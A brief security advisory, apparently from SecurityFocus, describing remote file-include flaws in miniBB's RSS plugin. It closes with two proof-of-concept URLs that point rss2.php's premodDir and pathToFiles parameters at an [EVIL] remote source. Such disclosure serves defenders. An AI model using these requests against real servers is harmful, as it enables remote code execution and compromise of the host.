source: https://www.securityfocus.com/bid/30421/info

The RSS plugin for miniBB is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/rss2.php?premodDir=[EVIL]
http://www.example.com/rss2.php?pathToFiles=[EVIL]